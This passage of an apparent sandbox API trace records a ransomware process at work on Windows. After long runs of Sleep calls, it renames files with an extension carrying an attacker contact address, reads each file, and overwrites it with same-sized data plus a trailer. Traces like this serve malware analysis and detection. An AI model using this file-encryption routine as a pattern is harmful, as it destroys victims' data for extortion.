dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.900] Sleep (dwMilliseconds=0x1) Thread: id = 89 os_tid = 0x1304 [0067.706] Sleep (dwMilliseconds=0x1) [0067.822] Sleep (dwMilliseconds=0x1) [0067.938] Sleep (dwMilliseconds=0x1) [0068.040] Sleep (dwMilliseconds=0x1) [0068.150] Sleep (dwMilliseconds=0x1) [0068.279] Sleep (dwMilliseconds=0x1) [0068.399] Sleep (dwMilliseconds=0x1) [0068.495] Sleep (dwMilliseconds=0x1) [0068.542] Sleep (dwMilliseconds=0x1) [0068.701] Sleep (dwMilliseconds=0x1) [0068.744] Sleep (dwMilliseconds=0x1) [0068.795] Sleep (dwMilliseconds=0x1) [0068.840] Sleep (dwMilliseconds=0x1) [0068.887] Sleep (dwMilliseconds=0x1) [0068.932] Sleep (dwMilliseconds=0x1) [0068.979] Sleep (dwMilliseconds=0x1) [0069.044] Sleep (dwMilliseconds=0x1) [0069.108] Sleep (dwMilliseconds=0x1) [0069.156] Sleep (dwMilliseconds=0x1) [0069.201] Sleep (dwMilliseconds=0x1) [0069.246] Sleep (dwMilliseconds=0x1) [0069.295] Sleep (dwMilliseconds=0x1) [0069.375] Sleep (dwMilliseconds=0x1) [0069.438] Sleep (dwMilliseconds=0x1) [0069.480] Sleep (dwMilliseconds=0x1) [0069.525] Sleep (dwMilliseconds=0x1) [0069.692] Sleep (dwMilliseconds=0x1) [0069.922] Sleep (dwMilliseconds=0x1) [0070.143] Sleep (dwMilliseconds=0x1) [0070.266] Sleep (dwMilliseconds=0x1) [0070.379] Sleep (dwMilliseconds=0x1) [0070.531] Sleep (dwMilliseconds=0x1) [0070.872] Sleep (dwMilliseconds=0x1) [0071.565] Sleep (dwMilliseconds=0x1) [0071.938] Sleep (dwMilliseconds=0x1) [0072.426] Sleep (dwMilliseconds=0x1) [0072.610] Sleep (dwMilliseconds=0x1) [0072.796] Sleep (dwMilliseconds=0x1) [0072.909] Sleep (dwMilliseconds=0x1) [0073.095] Sleep (dwMilliseconds=0x1) [0073.394] Sleep (dwMilliseconds=0x1) [0073.721] Sleep (dwMilliseconds=0x1) [0073.934] Sleep (dwMilliseconds=0x1) [0074.045] Sleep (dwMilliseconds=0x1) [0074.179] Sleep (dwMilliseconds=0x1) [0074.382] Sleep (dwMilliseconds=0x1) [0074.669] Sleep (dwMilliseconds=0x1) [0074.773] Sleep (dwMilliseconds=0x1) [0074.847] Sleep (dwMilliseconds=0x1) [0074.910] Sleep (dwMilliseconds=0x1) [0075.002] Sleep (dwMilliseconds=0x1) [0075.059] Sleep (dwMilliseconds=0x1) [0075.107] Sleep (dwMilliseconds=0x1) [0075.156] Sleep (dwMilliseconds=0x1) [0075.217] Sleep (dwMilliseconds=0x1) [0075.262] Sleep (dwMilliseconds=0x1) [0075.306] Sleep (dwMilliseconds=0x1) [0075.360] Sleep (dwMilliseconds=0x1) [0075.422] Sleep (dwMilliseconds=0x1) [0075.511] Sleep (dwMilliseconds=0x1) [0075.569] Sleep (dwMilliseconds=0x1) [0075.610] Sleep (dwMilliseconds=0x1) [0075.692] Sleep (dwMilliseconds=0x1) [0075.748] Sleep (dwMilliseconds=0x1) [0075.788] Sleep (dwMilliseconds=0x1) [0075.835] Sleep (dwMilliseconds=0x1) [0076.044] Sleep (dwMilliseconds=0x1) [0076.062] Sleep (dwMilliseconds=0x1) [0076.083] Sleep (dwMilliseconds=0x1) [0076.107] Sleep (dwMilliseconds=0x1) [0076.186] Sleep (dwMilliseconds=0x1) [0076.391] Sleep (dwMilliseconds=0x1) [0076.530] Sleep (dwMilliseconds=0x1) [0076.672] Sleep (dwMilliseconds=0x1) [0076.770] Sleep (dwMilliseconds=0x1) [0076.809] Sleep (dwMilliseconds=0x1) [0076.842] Sleep (dwMilliseconds=0x1) [0076.872] Sleep (dwMilliseconds=0x1) [0076.920] Sleep (dwMilliseconds=0x1) [0076.985] Sleep (dwMilliseconds=0x1) [0077.065] Sleep (dwMilliseconds=0x1) [0077.148] Sleep (dwMilliseconds=0x1) [0077.221] Sleep (dwMilliseconds=0x1) [0077.290] Sleep (dwMilliseconds=0x1) [0077.359] Sleep (dwMilliseconds=0x1) [0077.413] Sleep (dwMilliseconds=0x1) [0077.520] Sleep (dwMilliseconds=0x1) [0077.598] Sleep (dwMilliseconds=0x1) [0077.648] Sleep (dwMilliseconds=0x1) [0077.689] Sleep (dwMilliseconds=0x1) [0077.735] Sleep (dwMilliseconds=0x1) [0077.783] Sleep (dwMilliseconds=0x1) [0077.832] Sleep (dwMilliseconds=0x1) [0077.857] Sleep (dwMilliseconds=0x1) [0077.911] Sleep (dwMilliseconds=0x1) [0077.959] Sleep (dwMilliseconds=0x1) [0077.981] Sleep (dwMilliseconds=0x1) [0078.063] Sleep (dwMilliseconds=0x1) [0078.089] Sleep (dwMilliseconds=0x1) [0078.114] Sleep (dwMilliseconds=0x1) [0078.137] Sleep (dwMilliseconds=0x1) [0078.198] Sleep (dwMilliseconds=0x1) [0078.220] Sleep (dwMilliseconds=0x1) [0078.241] Sleep (dwMilliseconds=0x1) [0078.250] Sleep (dwMilliseconds=0x1) [0078.275] Sleep (dwMilliseconds=0x1) [0078.283] Sleep (dwMilliseconds=0x1) [0078.317] Sleep (dwMilliseconds=0x1) [0078.357] Sleep (dwMilliseconds=0x1) [0078.382] Sleep (dwMilliseconds=0x1) [0078.448] Sleep (dwMilliseconds=0x1) [0078.532] Sleep (dwMilliseconds=0x1) [0078.563] Sleep (dwMilliseconds=0x1) [0078.611] Sleep (dwMilliseconds=0x1) [0078.626] Sleep (dwMilliseconds=0x1) [0078.646] Sleep (dwMilliseconds=0x1) [0078.659] Sleep (dwMilliseconds=0x1) [0078.676] Sleep (dwMilliseconds=0x1) [0078.710] Sleep (dwMilliseconds=0x1) [0078.719] Sleep (dwMilliseconds=0x1) [0078.740] Sleep (dwMilliseconds=0x1) [0078.752] Sleep (dwMilliseconds=0x1) [0078.772] Sleep (dwMilliseconds=0x1) [0078.784] Sleep (dwMilliseconds=0x1) [0078.843] Sleep (dwMilliseconds=0x1) [0078.892] Sleep (dwMilliseconds=0x1) [0078.928] Sleep (dwMilliseconds=0x1) [0078.944] Sleep (dwMilliseconds=0x1) [0078.958] Sleep (dwMilliseconds=0x1) [0078.977] Sleep (dwMilliseconds=0x1) [0079.004] Sleep (dwMilliseconds=0x1) [0079.030] Sleep (dwMilliseconds=0x1) [0079.051] Sleep (dwMilliseconds=0x1) [0079.079] Sleep (dwMilliseconds=0x1) [0079.099] Sleep (dwMilliseconds=0x1) [0079.115] Sleep (dwMilliseconds=0x1) [0079.130] Sleep (dwMilliseconds=0x1) [0079.158] Sleep (dwMilliseconds=0x1) [0079.225] Sleep (dwMilliseconds=0x1) [0079.249] Sleep (dwMilliseconds=0x1) [0079.271] Sleep (dwMilliseconds=0x1) [0079.285] Sleep (dwMilliseconds=0x1) [0079.302] Sleep (dwMilliseconds=0x1) [0079.314] Sleep (dwMilliseconds=0x1) [0079.331] Sleep (dwMilliseconds=0x1) [0079.346] Sleep (dwMilliseconds=0x1) [0079.363] Sleep (dwMilliseconds=0x1) [0079.376] Sleep (dwMilliseconds=0x1) [0079.399] Sleep (dwMilliseconds=0x1) [0079.415] Sleep (dwMilliseconds=0x1) [0079.424] Sleep (dwMilliseconds=0x1) [0079.446] Sleep (dwMilliseconds=0x1) [0079.518] Sleep (dwMilliseconds=0x1) [0079.541] Sleep (dwMilliseconds=0x1) [0079.548] Sleep (dwMilliseconds=0x1) [0079.599] Sleep (dwMilliseconds=0x1) [0079.612] Sleep (dwMilliseconds=0x1) [0079.627] Sleep (dwMilliseconds=0x1) [0079.643] Sleep (dwMilliseconds=0x1) [0079.659] Sleep (dwMilliseconds=0x1) [0079.677] Sleep (dwMilliseconds=0x1) [0079.694] Sleep (dwMilliseconds=0x1) [0079.730] Sleep (dwMilliseconds=0x1) [0079.743] Sleep (dwMilliseconds=0x1) [0079.801] Sleep (dwMilliseconds=0x1) [0079.815] Sleep (dwMilliseconds=0x1) [0079.831] Sleep (dwMilliseconds=0x1) [0079.890] Sleep (dwMilliseconds=0x1) [0079.916] Sleep (dwMilliseconds=0x1) [0079.932] Sleep (dwMilliseconds=0x1) [0079.939] Sleep (dwMilliseconds=0x1) [0079.985] Sleep (dwMilliseconds=0x1) [0080.049] Sleep (dwMilliseconds=0x1) [0080.070] Sleep (dwMilliseconds=0x1) [0080.085] Sleep (dwMilliseconds=0x1) [0080.099] Sleep (dwMilliseconds=0x1) [0080.137] Sleep (dwMilliseconds=0x1) [0080.160] Sleep (dwMilliseconds=0x1) [0080.174] Sleep (dwMilliseconds=0x1) [0080.237] Sleep (dwMilliseconds=0x1) [0080.261] Sleep (dwMilliseconds=0x1) [0080.268] Sleep (dwMilliseconds=0x1) [0080.286] Sleep (dwMilliseconds=0x1) [0080.300] Sleep (dwMilliseconds=0x1) [0080.320] Sleep (dwMilliseconds=0x1) [0080.342] Sleep (dwMilliseconds=0x1) [0080.362] Sleep (dwMilliseconds=0x1) [0080.381] Sleep (dwMilliseconds=0x1) [0080.393] Sleep (dwMilliseconds=0x1) [0080.409] Sleep (dwMilliseconds=0x1) [0080.427] Sleep (dwMilliseconds=0x1) [0080.441] Sleep (dwMilliseconds=0x1) [0080.504] Sleep (dwMilliseconds=0x1) [0080.526] Sleep (dwMilliseconds=0x1) [0080.548] Sleep (dwMilliseconds=0x1) [0080.566] Sleep (dwMilliseconds=0x1) [0080.583] Sleep (dwMilliseconds=0x1) [0080.604] Sleep (dwMilliseconds=0x1) [0080.615] Sleep (dwMilliseconds=0x1) [0080.659] Sleep (dwMilliseconds=0x1) [0080.674] Sleep (dwMilliseconds=0x1) [0080.703] Sleep (dwMilliseconds=0x1) [0080.723] Sleep (dwMilliseconds=0x1) [0080.764] Sleep (dwMilliseconds=0x1) [0080.788] Sleep (dwMilliseconds=0x1) [0080.804] Sleep (dwMilliseconds=0x1) [0080.820] Sleep (dwMilliseconds=0x1) [0080.835] Sleep (dwMilliseconds=0x1) [0080.848] Sleep (dwMilliseconds=0x1) [0080.887] Sleep (dwMilliseconds=0x1) [0080.919] Sleep (dwMilliseconds=0x1) [0080.943] Sleep (dwMilliseconds=0x1) [0080.956] Sleep (dwMilliseconds=0x1) [0080.979] Sleep (dwMilliseconds=0x1) [0080.989] Sleep (dwMilliseconds=0x1) [0081.005] Sleep (dwMilliseconds=0x1) [0081.017] Sleep (dwMilliseconds=0x1) [0081.038] Sleep (dwMilliseconds=0x1) [0081.048] Sleep (dwMilliseconds=0x1) [0081.287] Sleep (dwMilliseconds=0x1) [0081.437] Sleep (dwMilliseconds=0x1) [0081.526] Sleep (dwMilliseconds=0x1) [0081.542] Sleep (dwMilliseconds=0x1) [0081.558] Sleep (dwMilliseconds=0x1) [0081.566] Sleep (dwMilliseconds=0x1) [0081.580] Sleep (dwMilliseconds=0x1) [0081.601] Sleep (dwMilliseconds=0x1) [0081.612] Sleep (dwMilliseconds=0x1) [0081.630] Sleep (dwMilliseconds=0x1) [0081.663] Sleep (dwMilliseconds=0x1) [0081.684] Sleep (dwMilliseconds=0x1) [0081.712] Sleep (dwMilliseconds=0x1) [0081.754] Sleep (dwMilliseconds=0x1) [0081.779] Sleep (dwMilliseconds=0x1) [0081.835] Sleep (dwMilliseconds=0x1) [0081.847] Sleep (dwMilliseconds=0x1) [0081.888] Sleep (dwMilliseconds=0x1) [0081.913] Sleep (dwMilliseconds=0x1) [0081.924] Sleep (dwMilliseconds=0x1) [0081.945] Sleep (dwMilliseconds=0x1) [0081.964] Sleep (dwMilliseconds=0x1) [0081.973] Sleep (dwMilliseconds=0x1) [0081.984] Sleep (dwMilliseconds=0x1) [0082.006] Sleep (dwMilliseconds=0x1) [0082.033] Sleep (dwMilliseconds=0x1) [0082.053] Sleep (dwMilliseconds=0x1) [0082.065] Sleep (dwMilliseconds=0x1) [0082.115] Sleep (dwMilliseconds=0x1) [0082.129] Sleep (dwMilliseconds=0x1) [0082.155] Sleep (dwMilliseconds=0x1) [0082.196] Sleep (dwMilliseconds=0x1) [0082.213] Sleep (dwMilliseconds=0x1) [0082.234] Sleep (dwMilliseconds=0x1) [0082.257] Sleep (dwMilliseconds=0x1) [0082.278] Sleep (dwMilliseconds=0x1) [0082.293] Sleep (dwMilliseconds=0x1) [0082.310] Sleep (dwMilliseconds=0x1) [0082.369] Sleep (dwMilliseconds=0x1) [0082.419] Sleep (dwMilliseconds=0x1) [0082.539] Sleep (dwMilliseconds=0x1) [0082.590] Sleep (dwMilliseconds=0x1) [0082.635] Sleep (dwMilliseconds=0x1) [0082.686] Sleep (dwMilliseconds=0x1) [0082.727] Sleep (dwMilliseconds=0x1) [0082.777] Sleep (dwMilliseconds=0x1) [0082.820] Sleep (dwMilliseconds=0x1) [0082.871] Sleep (dwMilliseconds=0x1) [0082.915] Sleep (dwMilliseconds=0x1) [0082.969] Sleep (dwMilliseconds=0x1) [0083.014] Sleep (dwMilliseconds=0x1) [0083.056] Sleep (dwMilliseconds=0x1) [0083.102] Sleep (dwMilliseconds=0x1) [0083.152] Sleep (dwMilliseconds=0x1) [0083.199] Sleep (dwMilliseconds=0x1) [0083.244] Sleep (dwMilliseconds=0x1) [0083.291] Sleep (dwMilliseconds=0x1) [0083.339] Sleep (dwMilliseconds=0x1) [0083.384] Sleep (dwMilliseconds=0x1) [0083.437] Sleep (dwMilliseconds=0x1) [0083.702] Sleep (dwMilliseconds=0x1) [0083.752] Sleep (dwMilliseconds=0x1) [0083.801] Sleep (dwMilliseconds=0x1) [0083.914] Sleep (dwMilliseconds=0x1) [0084.011] Sleep (dwMilliseconds=0x1) [0084.094] Sleep (dwMilliseconds=0x1) [0084.201] Sleep (dwMilliseconds=0x1) [0084.344] Sleep (dwMilliseconds=0x1) [0084.736] Sleep (dwMilliseconds=0x1) [0084.812] Sleep (dwMilliseconds=0x1) [0084.876] Sleep (dwMilliseconds=0x1) [0084.962] Sleep (dwMilliseconds=0x1) [0085.044] Sleep (dwMilliseconds=0x1) [0085.127] Sleep (dwMilliseconds=0x1) [0085.175] Sleep (dwMilliseconds=0x1) [0085.342] Sleep (dwMilliseconds=0x1) [0085.394] Sleep (dwMilliseconds=0x1) [0085.732] Sleep (dwMilliseconds=0x1) [0085.835] Sleep (dwMilliseconds=0x1) [0085.959] Sleep (dwMilliseconds=0x1) [0086.080] Sleep (dwMilliseconds=0x1) [0086.189] Sleep (dwMilliseconds=0x1) [0086.234] Sleep (dwMilliseconds=0x1) [0086.296] Sleep (dwMilliseconds=0x1) [0086.350] Sleep (dwMilliseconds=0x1) [0086.590] Sleep (dwMilliseconds=0x1) [0086.895] Sleep (dwMilliseconds=0x1) [0087.093] Sleep (dwMilliseconds=0x1) [0087.470] Sleep (dwMilliseconds=0x1) [0089.025] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1031\\eula.rtf", len=0x23 | out: pbstr=0x6c3ff7c*="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 1 [0089.104] GetProcessHeap () returned 0x630000 [0089.104] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b11f0 | out: hHeap=0x630000) returned 1 [0089.104] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b4 [0089.105] CloseHandle (hObject=0x6b4) returned 1 [0089.105] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0089.105] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0089.106] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0089.106] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d51c0 [0089.106] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0089.106] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b4 [0089.106] GetProcessHeap () returned 0x630000 [0089.106] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd61) returned 0x6f06978 [0089.106] GetProcessHeap () returned 0x630000 [0089.106] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd61) returned 0x6ff1da8 [0089.106] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.106] ReadFile (in: hFile=0x6b4, lpBuffer=0x6f06978, nNumberOfBytesToRead=0xd40, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesRead=0x6c3ff0c*=0xd40, lpOverlapped=0x0) returned 1 [0089.157] GetProcessHeap () returned 0x630000 [0089.157] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8ca8 [0089.157] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.157] WriteFile (in: hFile=0x6b4, lpBuffer=0x6ff1da8*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff1da8*, lpNumberOfBytesWritten=0x6c3ff0c*=0xd40, lpOverlapped=0x0) returned 1 [0089.157] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.157] WriteFile (in: hFile=0x6b4, lpBuffer=0x6ff2ae7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff2ae7*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0089.158] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.158] WriteFile (in: hFile=0x6b4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0089.158] CloseHandle (hObject=0x6b4) returned 1 [0089.159] GetProcessHeap () returned 0x630000 [0089.159] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ff1da8 | out: hHeap=0x630000) returned 1 [0089.159] GetProcessHeap () returned 0x630000 [0089.159] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0089.159] GetProcessHeap () returned 0x630000 [0089.159] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8ca8 | out: hHeap=0x630000) returned 1 [0089.159] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0089.159] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xfb172181, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xd7f, dwReserved0=0x9ec7496, dwReserved1=0x6f06970, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5340 [0089.159] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0089.159] Sleep (dwMilliseconds=0x1) [0089.166] Sleep (dwMilliseconds=0x1) [0089.182] Sleep (dwMilliseconds=0x1) [0089.197] Sleep (dwMilliseconds=0x1) [0089.213] Sleep (dwMilliseconds=0x1) [0089.228] Sleep (dwMilliseconds=0x1) [0089.244] Sleep (dwMilliseconds=0x1) [0089.260] Sleep (dwMilliseconds=0x1) [0089.275] Sleep (dwMilliseconds=0x1) [0089.291] Sleep (dwMilliseconds=0x1) [0089.306] Sleep (dwMilliseconds=0x1) [0089.323] Sleep (dwMilliseconds=0x1) [0089.338] Sleep (dwMilliseconds=0x1) [0089.354] Sleep (dwMilliseconds=0x1) [0089.369] Sleep (dwMilliseconds=0x1) [0089.385] Sleep (dwMilliseconds=0x1) [0089.401] Sleep (dwMilliseconds=0x1) [0089.416] Sleep (dwMilliseconds=0x1) [0089.432] Sleep (dwMilliseconds=0x1) [0089.447] Sleep (dwMilliseconds=0x1) [0089.463] Sleep (dwMilliseconds=0x1) [0089.478] Sleep (dwMilliseconds=0x1) [0089.494] Sleep (dwMilliseconds=0x1) [0089.510] Sleep (dwMilliseconds=0x1) [0089.525] Sleep (dwMilliseconds=0x1) [0089.542] Sleep (dwMilliseconds=0x1) [0089.556] Sleep (dwMilliseconds=0x1) [0089.572] Sleep (dwMilliseconds=0x1) [0089.588] Sleep (dwMilliseconds=0x1) [0089.605] Sleep (dwMilliseconds=0x1) [0089.750] Sleep (dwMilliseconds=0x1) [0089.760] Sleep (dwMilliseconds=0x1) [0089.776] Sleep (dwMilliseconds=0x1) [0090.979] Sleep (dwMilliseconds=0x1) [0092.103] Sleep (dwMilliseconds=0x1) [0093.825] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico", len=0x2a | out: pbstr=0x6c3ff7c*="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 1 [0093.826] GetProcessHeap () returned 0x630000 [0093.826] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e1d8, Size=0x54) returned 0x68e0b8 [0093.826] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0093.832] CloseHandle (hObject=0x688) returned 1 [0093.832] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.833] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.833] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.833] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ROTATE~1.FIR")) returned 0x6d5240 [0093.833] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0093.833] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0093.834] GetProcessHeap () returned 0x630000 [0093.834] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x381) returned 0x6a3bf0 [0093.834] GetProcessHeap () returned 0x630000 [0093.834] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x381) returned 0x6672f8 [0093.834] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.834] ReadFile (in: hFile=0x688, lpBuffer=0x6a3bf0, nNumberOfBytesToRead=0x360, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a3bf0*, lpNumberOfBytesRead=0x6c3ff0c*=0x360, lpOverlapped=0x0) returned 1 [0093.840] GetProcessHeap () returned 0x630000 [0093.840] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8ca8 [0093.840] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.840] WriteFile (in: hFile=0x688, lpBuffer=0x6672f8*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesWritten=0x6c3ff0c*=0x360, lpOverlapped=0x0) returned 1 [0093.841] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.841] WriteFile (in: hFile=0x688, lpBuffer=0x667657*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x667657*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0093.841] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.841] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0093.841] CloseHandle (hObject=0x688) returned 1 [0093.842] GetProcessHeap () returned 0x630000 [0093.842] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0093.842] GetProcessHeap () returned 0x630000 [0093.842] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a3bf0 | out: hHeap=0x630000) 